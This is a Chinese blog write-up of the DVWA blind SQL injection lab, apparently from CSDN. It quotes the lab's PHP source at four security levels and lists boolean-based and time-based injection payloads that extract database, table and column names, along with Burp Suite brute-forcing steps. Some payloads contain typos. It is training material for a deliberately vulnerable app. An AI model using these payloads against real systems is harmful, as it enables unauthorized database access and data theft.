2020-12-11-DVWA之sqlblind

本文深入探讨了DVWA中的SQL盲注漏洞,区分了布尔盲注与时间盲注的区别,并详细展示了在不同安全级别下如何利用这两种方法进行数据库信息的探测,包括数据库名、表名、字段名及数据的猜测过程。同时提到了使用Burp Suite工具进行快速爆破的技巧。
摘要由CSDN通过智能技术生成

layout: post
title: DVWA之SQL-Injection(Blind)
subtitle: 学习学习
date: 2020-12-11
author: lll-yz
header-img: img/post-bg-coffee.jpg
catalog: true
tags:

  • DVWA

SQL Injection(Blind)

sql注入和sql盲注区别:注入可以看到详细的内容(具体的查询内容与报错),而盲注只会显示出对错(即回复你一个:是 与 不是),没有其他提示。

盲注又有布尔盲注和时间盲注,这里不做详细解释了,之后会做一篇SQL总结。

low
<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Get input
    $id = $_GET[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

代码木有对参数id做任何的检查,过滤,存在明显的SQL注入漏洞,但回显结果只有User ID exists in the database., User ID is MISSING from the database.两种了,不会返回其他数据。所以为SQL盲注。

布尔盲注:

1.首先要判断注入类型:输入 1 提交回显正确

rElTLn.png

输入 1’ 回显错误

rElOiT.png

输入 1' # 回显正确,说明为基于 ’ 的字符型注入类型。
2.猜测数据库名称:

先猜测数据库名长度:

1' and length(database())=1 #  //显示错误
1' and length(database())=2 #  //显示错误
1' and length(database())=3 #  //显示错误
1' and length(database())=4 #  //显示正确

说明数据库名长度为4。

猜测数据库名(可以采用二分法):

1' and ascii(substr(database(),1,1))>97 #  //说明数据库名第一个字母ascii值大于97
1' and ascii(substr(database(),1,1))<100 #  //说明数据库名第一个字母ascii值不小于100
1' and ascii(substr(database(),1,1))>100 #  //说明其不大于100

得到数据库名第一个字母ascii值为100,字母为:d

同理猜得数据库名为dvwa。

3.猜测数据库中的表名:

先猜测数据库的表的数量:

1' and (select count(table_name) from information_schema.tables where table_schema=database())=1 # //错误
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 # //正确

得到数据库中表的数量为:2。

分别猜测表名的长度:

1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 #  //错误
....
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #  //正确

说明第一个表名长度为9。同理猜测第二个表名长度。

猜测表名:

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limt 0,1),1,1))>97 # //正确
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limt 0,1),1,1))<122 # //正确
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limt 0,1),1,1))<109 # //正确
...
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limt 0,1),1,1))<103 # //错误
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limt 0,1),1,1))>103 # //错误

得第一个表名的第一个字符为 g。

同理逐步得两个表名分别为:guestbook,users。

4.猜测表中的字段名:

猜测表中的字段数量:

1' and (select count(column_name) from information_schmea.columns where table_name='users')=1 #  //错误
...
1' and (select count(column_name) from information_schema.columns wehre table_name='users')=8 #  //正确

得表users有8个字段。

猜测字段名的长度:

1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=1 #  //错误
...
1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=7 #  //正确

得到第一个字段名长度为7。同理猜测出所有的字段名长度。

5.猜测数据:

与上面基本一致了,先猜测数据长度,在逐个猜测字符。

延时注入:

1.判断是否存在注入,注入是字符型还是数字型。

1' and sleep(5) #  //感觉到明显延迟;
1 and sleep(5) #  //没有延迟;

说明存在字符型的基于时间的盲注。

2.猜解当前数据库名:

首先猜解数据名的长度:

1' and if(length(database())=1,sleep(5),1) #  //没有延迟 
1' and if(length(database())=2,sleep(5),1) #  //没有延迟 
1' and if(length(database())=3,sleep(5),1) #  //没有延迟 
1' and if(length(database())=4,sleep(5),1) #  //明显延迟

说明数据库名长度为4个字符。

接着采用二分法猜解数据库名:

1' and if(ascii(substr(database(),1,1))>97,sleep(5),1)#  //明显延迟
...
1' and if(ascii(substr(database(),1,1))<100,sleep(5),1)#  //没有延迟 
1' and if(ascii(substr(database(),1,1))>100,sleep(5),1)#  //没有延迟 

说明数据库名的第一个字符为小写字母d。

重复上述步骤,即可猜解出数据库名。

3.猜解数据库中的表名

首先猜解数据库中表的数量:

1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=1,sleep(5),1)#  //没有延迟
1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(5),1)#  //明显延迟

说明数据库中有两个表。

接着挨个猜解表名:

1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) #  //没有延迟
...
1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #  //明显延迟

说明第一个表名的长度为9个字符。

采用二分法即可猜解出表名。

4.猜解表中的字段名

首先猜解表中字段的数量:

1’ and if((select count(column_name) from information_schema.columns where table_name= ’users’)=1,sleep(5),1)#  //没有延迟
...
1’ and if((select count(column_name) from information_schema.columns where table_name= ’users’)=8,sleep(5),1)#  //明显延迟

说明users表中有8个字段。

接着挨个猜解字段名:

1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1,sleep(5),1) #  //没有延迟
...
1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7,sleep(5),1) #  //明显延迟

说明users表的第一个字段长度为7个字符。

采用二分法即可猜解出各个字段名。

5.猜解数据

同样采用二分法。

使用burp:

上面自己逐步猜测太慢了,所以我们可以使用工具来省时省力解决。

猜测数据库名:

还是先猜测数据库名长度:(抓包到burp,放到爆破框)

爆破的为其长度,所以把长度加到爆破选项:

rZ3UvF.md.png

到payloads框,将payload type选择为numbers,再在下框按图输入,代表从1开始到5结束,每次增加1。

rZG8pV.md.png

然后开始爆破:

rZGNm4.md.png

找到长度与其他不一致的为正确的,所以得到数据库名长度为4。

在猜测数据库名:

rZGjNn.md.png

同上,将ASCII值从1到127逐步增加,判断正确ASCII值

rZJm36.md.png

rZts10.md.png

得到第一个字符ASCII为100,得其为d。同理,逐步爆破出表名,列名,数据。

medium
<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    //mysql_close();
}

?> 

可以看出medium代码多出了**mysql_real_escape_string()**函数,对特殊字符串进行了转义。

特殊字符:\x00,\n,\r,’,",\x1a。

另外还设置了下拉表单,防止我们直接注入,但我们还是可以通过burp抓包,改包。

步骤同low,就是在burp中改就🆗。(这个为数字型注入)

high
<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
    // Get input
    $id = $_COOKIE[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Might sleep a random amount
        if( rand( 0, 5 ) == 3 ) {
            sleep( rand( 2, 4 ) );
        }

        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

high级别的代码利用了cookie传递参数id,当SQL查询结果为空时,会执行还是sleep(seconds), 目的是为了扰乱基于时间盲注。并在SQL查询语句中添加了limit 1,控制输出的结果只显示一个。

因为存在sleep函数干扰就不使用时间盲注了,只进行布尔盲注,同时可以用#注释掉SQL语句后的limit 1。

rZaVlq.md.png
抓包,在cookie处修改id值进行注入。步骤还是同low。

impossible
<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();

        // Get results
        if( $data->rowCount() == 1 ) {
            // Feedback for end user
            echo '<pre>User ID exists in the database.</pre>';
        }
        else {
            // User wasn't found, so the page wasn't!
            header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

            // Feedback for end user
            echo '<pre>User ID is MISSING from the database.</pre>';
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防止SQL注入,同时只有返回的查询结果数量为一时,才会成功输出,Anti-CSRF token机制的加入进一步提高了安全性。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值